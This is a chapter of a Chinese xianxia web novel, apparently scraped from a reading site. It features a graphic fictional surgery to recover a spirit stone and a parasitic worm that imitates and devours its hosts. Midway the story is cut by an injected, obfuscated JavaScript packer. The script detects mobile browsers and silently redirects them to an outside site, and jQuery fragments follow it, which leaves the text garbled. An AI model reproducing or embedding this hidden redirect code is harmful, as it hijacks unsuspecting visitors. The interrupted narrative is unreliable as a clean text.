陈妙善浅笑,辨不清意味,身形微晃,已无声无息的出现在李稳面前。
她俯身,向地上的李稳伸出手,作势欲扶其起身。
“此番后山走水,是我陈氏疏虞,未及时扑救,累及小友受惊。”
“不知可有伤损?”
那李稳眼见阴影覆下,竟是陈妙善本人,更是如坠冰窟。
他不敢接那援手,将头死死埋入双臂,背身蜷缩,形同一只受惊的鸵鸟。
偏偏那衣服烧的不剩丝毫,难掩其狼狈,光裸背脊不住剧烈颤抖,抖落身上簌簌烟灰,场面既狼狈又滑稽。
陈妙善笑容瞬间敛去。
恶心。
她直起身,目光冷冷,钉在李稳身上,口中吐出的字眼却仍旧带着“关切”。
“看来此子是被那场火魇住了心神,着实可怜。”
她转向单中玉等人,“诸位若不嫌弃陈府简陋,不妨在此歇息几日?住处自会妥善安排。”
语毕,陈妙善再不看地上那团兀自颤抖的人球,转身径直行至单中玉面前,广袖轻舒,做出邀请之态。
“少宗主,请随我来。”
单中钰阴霾顿消,脸上绽开笑容,脆声应道:“好啊!”
她扭头对男弟子抬了抬下巴,“你,速将这蠢物押去宝船静室,莫要留在此处丢人现眼。”
旋即又蹭到兰殊身边,拉着她袖摆轻摇,带着几分娇憨,“兰殊姨姨,我们就留在陈府住些时日,可好?”
兰殊垂眸看着这小祖宗,无奈摇头,“你呀,想做的事,几时又是我这老骨头能拦得住的?”
这话语无异于默许。
单中玉登时雀跃,孩童心性毕露,腕上乾坤圈显化在两人脚底。
未等兰殊话音落定,两人便踏着乾坤圈已如疾风般,顷刻便消失不见。
待二人远去,兰殊脸上笑意消散。
她瞥向后山那焦枯的轮廓,若有所思,脚下无声,移至已然吓昏过去的李稳身边。
此时,她身上彻底再无半分慈和气息。
兰殊抬手,自腰间抽出那支翠竹嵌玉的细笔,并未执于手中,而是横咬于口中。
她俯身,左手如刀,骤然没入李稳下腹。
利刃破空,筋肉撕裂。
兰殊面色沉稳,雪白衣袖染上点点赤梅,手已破开李稳肚皮,探入其中。
她动作迅捷,三两下便将那胃囊掏出,翻开内里,里面尽是些黄褐交融、气味刺鼻的消化浊物。
兰殊眉头微蹙。
她不再看那污秽的胃袋,右手顺势上探,穿肠过腑,径直摸索到他的胸腔内部。
纤长手指在肺叶间轻轻一拂,触到了异物坚硬的棱角。
“竟将这‘定魂石’慌得吞呛入肺…”
兰殊叹气,右手一扯,生生将那片肺叶带出,双手挤压。
只听“噗”的一声轻响,乌黑石块裹挟着气泡与些许血色粘液,从气管尽头滑落在地,沾满了尘土。
做完这一切,兰殊将口中咬着的竹笔取下。
奇异的是,地上肚破肠流的李稳,在兰殊将笔取下的瞬间,竟悄然恢复了“完好无损”的模样。
兰殊弯腰,用那支竹笔,将地上黑石轻轻一挑。
石块飞起,污浊尽去,被她接入掌心。
她看也未看,将那石头往口中一丢,嚼碎咽下。
兰殊背影刚消失在廊角,侍立其侧的男弟子便如影随形,俯身拖起地上昏迷的李稳,消失在院落的另一头。
然而,就在那男弟子身影消失的瞬间,两道身影竟从李稳方才爬出的那片断壁残垣的阴影中,悠然步出。
正是陈妙善与单中玉。
单中玉见陈妙善目光落在方才兰殊站立之处。
那地面尚残留着几点暗沉血迹与些许粘稠的、带着脏器腥气的浊液。
她便猜陈妙善心有疑窦。
“妙善前辈可觉怪异?”
单中玉解释道,“那是兰殊姨姨一脉传承的独门秘术——‘解生之法’。”
“看似凶戾,实则只为剖开‘生者’皮囊,寻出其内的‘死物’。”
她说着,又瞥嘴,“那颗黑石,本就是姨姨自身精纯灵力所化,借以‘定魂’的引子。”
“其中灵力,皆源自姨姨本源。若留在体内,岂非平白便宜了那蠢物?暴殄天物!”
“自然要借这‘解生’之术取回己身。姨姨行事,向来如此,物归其主罢了。”
修仙一途,灵力积攒一丝一毫都来之不易。
寻常修士一旦动用灵力,体内灵海辛苦凝聚的灵力会随之消散损耗。
唯独女子不同。
女子生来运转灵力犹如呼吸吐纳,施展之后,灵力十之八九尚可导引归元,重纳灵海。
这,便是仙道灵胚的由来。
可惜,不知为何,无论泥尘境、灵枢境还是仙门,仙道灵胚都极为稀少,而像陈妙善这般服用“仙蜕”,成功褪去污浊之身的人更是闻所未闻。
她也许是古往今来的第一人也说不定。
至于那些由灵力幻化凝聚而成的外物,一旦离体成形,便再难收回体内。
若想取回其中蕴含的本源灵力,唯有设法将其吞下,化归己用。
她随即又皱着鼻子,埋怨嘟囔,“姑姑终究太过仁善。”
“若换作我,既已耗损灵力将其救转,他却神志昏昧、形同痴愚,一问三不知,岂不更亏?”
“我必先搜魂探其识海,直从他尸身里刨取黑石。”
“何须这般费劲,还要顾忌他小命?”
陈妙善闻言,微微颔首,“少殿主所言,甚是。”
单中钰见她点头,眼中狡黠一亮,“不过,前辈当真是厉害!怎知我想去那火场瞧瞧?”
“被我带着跑开,又悄无声息带回此处,竟半点不见讶色?”
陈妙善眸光微动,越过眼前人,看向那片焦枯的废墟,话语半真半假,“那后山火起蹊跷,我亦有心探察。未曾想,倒与少殿主灵犀相通了。”
她是断然不会让单中玉一人前往的,且不说危险,就她藏后山的“东西”也不能被发现。
“说来惭愧,此番失慎之地,终归是陈氏后山。”
“我既为族长,终须入内一察。”
“好!前辈既有此念,正合我意!”
“这便同去探个分明!”
二人随即掠入后山。
此地火势果然蹊跷。
那火舌竟似有意识般,避着草木繁盛处,专挑稀疏空旷处焚烧。
所过之处,只余满目焦土,遍地乌沉沉的余烬,厚积盈寸。
草木稀疏之地,怎会有如此厚的灰?
难道是那个东西……可自己早已将其封存妥当,怎会掉出?
陈妙善垂眸,敛去了眼中疑虑。
山中无风,唯有灼热空气沉沉闷人,吸入人肺腑都带着燥意。
二人悬于半空,俯瞰探查。
单中玉起初只觉一片死寂焦黑,难辨端倪,她皱眉便要按落身形细查。
“且慢!”
陈妙善倏地伸手拦住她,“此地气息诡谲,离地太近恐有不测。”
单中玉正要询问原由,却见陈妙善拂袖,从中向下抛出一物。
“啪”地一声落在下方厚厚的灰烬之中,赫然是一块巴掌大小的鲜嫩肉块。
那肉块陷入灰中,沾上些黑灰,并无异状。
单中玉牢记陈妙善的话,只屏息凝神,并没有妄动。
只见陈妙善隔空虚抓,那块肉应声飞回掌上。
肉块表面黑灰裹覆,状若寻常。
可接着陈妙善眸光一寒,将肉块脱手,两指并拢如刀,凌空对着肉块便是一划。
嗤!
肉块应声裂开两半,却并未彻底分离,中间竟被无数细如发丝的粘稠之物牵扯相连。
“咦?”
单中玉凑近细瞧,这一看之下,登时倒吸一口凉气。
那看似附着在肉块表面的“黑灰”,哪里是什么灰烬?
分明是密密麻麻的黑色虫卵!
就在这肉块落地的短短须臾之间,竟已被虫卵趁势侵蚀入内。
肉块内部,大半已被蛀蚀一空,肉皮间长着无数伪作肉丝状的细长蠕虫。
它们通体呈现出一种近乎腐烂血肉的惨淡粉色,此刻被骤然撕裂断成两截,疼得剧烈扭曲翻滚。
无数细密虫体在肉块的“腔道”中疯狂涌动,发出令人头皮发麻的黏腻声响。
这大片焦黑“灰烬”,竟是如此诡异恐怖的活物巢穴。
单中玉盯着那“肉块”,身体紧绷,“前辈!这…这究竟是什么邪物?”
“此乃邪蛊,名‘替生’。”
“一旦沾染,虫卵附骨吸髓,幼虫孵出,便会啃食寄主血肉。”
“更伪作其脏腑筋骨,形貌无二,直至……将其彻底啃食殆尽。”
陈妙善语声微顿,似有深意。
单中钰好奇心被勾起,追问,“那…之后呢?吃光了会怎样?”
她脸上不见多少惧色,反倒跃跃欲试。
陈妙善侧目看她,“你不惧?”
单中钰下巴一扬,尽显仙门少主的傲然,“区区虫豸?前辈莫要小觑于我!”
陈妙善唇角微弯,似笑非笑,“待寄主被彻底吞噬,这些蛊虫失了‘巢穴’,便会……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850327|175826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她指尖轻弹,一道无形气刃割开那肉皮。
噗!
包裹着无数细小蠕虫的“皮布”在两人面前摊展得更开,肉粉色细虫翻涌如沸粥。
单中钰眼尖,低呼一声。
只见那密密麻麻的细小蠕虫骤然凶性大发,竟开始互相撕咬吞噬!
吞噬者以肉眼可见的速度膨胀变粗,而被吞噬者则迅速减少。
不过数息,原本密密麻麻的虫群,已只剩下寥寥三只,皆有小指粗细,在残余的皮囊碎片上凶狠对峙,涎液滴落。
“啧,这就完了?”
单中钰撇撇嘴,顿觉索然无味,“这劳什子蛊虫,到底有何用处?”
“用处?”
陈妙善指尖虚点那三只狰狞幼虫,“与那尘泥境中,斗鸡走马、博戏取乐的法子,异曲同工罢了。”
她目光扫过三虫,问道,“少殿主以为,这三者之中,孰能活到最后?”
单中钰歪着头,目光在三虫间逡巡片刻,点上中间那只气息最凶戾的。
“它!”
陈妙善未置可否,只静观其变。
三虫再次陷入惨烈厮杀,尖牙利齿撕扯间,白肉飞溅。
最终,果如单中玉所料,中间那虫将最后一只同类也吞噬殆尽。
吞噬完成的蛊虫,体型骤然膨胀至拳头大小,浑身沾满同类残骸。
它发出一声怪异惨叫,竟不再凶暴,而是开始剧烈抽搐收缩,体表分泌出大量粘液。
粘液迅速凝固硬化,不多时,竟将那虫体连同残留的皮肉碎屑一并包裹、挤压、重塑……
最终,一个与最初投入的肉块几乎一模一样的东西,静静躺在那里,仿佛经历了一场诡异的“化茧成蛹”。
单中钰看得目瞪口呆。
“这…这是作甚?”
陈妙善又从袖中掏出一块鲜肉,悬于那新成的“肉块”上方尺许。
异变陡生!
那“肉块”表皮猛地撕裂,内里并非血肉,而是爆射出无数滑腻、布满细小吸盘的暗红色肉须。
肉须状似人舌,瞬间缠住上方鲜肉,狠狠将其拖入“肉块”内部。
只见那“肉块”剧烈起伏,吞咽着,不消片刻便恢复平静。
“这便是‘替生’成熟之态。”
陈妙善冷眼看着,“它已完全取代原主,披上了完美伪装。”
“一旦感知血肉气息,便会‘皮囊’大张,以触须吞噬猎物,化为自身养料。”
“灵枢境鱼龙混杂,从前不乏豢养此蛊以作消遣之辈。”
“他们常将虫卵植入活物体内,待其厮杀将尽,便割开寄主皮囊,设下赌局,赌哪条幼虫最终胜出。”
“隔着皮囊如何知晓这争斗结束?”单中钰好奇。
“观其皮相起伏。”
陈妙善指向那“肉块”,“若起伏细碎密集,则幼虫尚多,争斗不休;若起伏渐大,内里似有巨物挣扎欲破,则接近尾声,胜者将出。”
“就这?”
单中钰嗤笑,“也不过是些虫豸把戏,忒也无聊。”
陈妙善缓缓摇头,“尚有后续。”
“待那最终胜出的替生披上人皮,伪装完成,它便不能擅动。”
“此时,庄家便会寻来几具真正尸身,与这‘替生’并置。用一种“替生”极其厌恶、常人却无法嗅到的汁液涂抹尸身,再将一个活人放入其中。”
她声音低沉下去,“规则便是,这活人需在时限内,从这尸与‘替生’之中,将真正的尸身背负出来。”
“背出一具,赏钱若干。而外围的看客,则赌此人能背出多少‘具’。”
单中钰眉头紧锁,“那活人…不知其中藏有‘替生’?还是不知‘替生’凶险?”
“他们知晓。”陈妙善肯定道。
“既知‘替生’凶险,为何还去?实力不济,不是该远远避开吗?”
单中钰不解,仙门弟子对凡俗总是不甚了解的。
“有人为财。”
陈妙善看向虚无,神情不明,“有人…为赎。”
“赎?”
单中钰皱眉,似乎有些难过,“拿自己的死路,去赎别人的生路?这不是愚蠢至极么?”
陈妙善这次没有附和单中玉的嘲弄。
她收回目光,垂下眸子,握上‘肉块’,将其捏死,任由‘替生’惨叫嘶鸣。
想要彻底杀死‘替生’,只能选择在其孵化前或者成熟后,没人比她更了解这个。
“非是赎人。是拿自己的死路……去换他人一线微末的生路。”
“你年纪尚小,不明其中深意。”
“替生啊……很可怕。”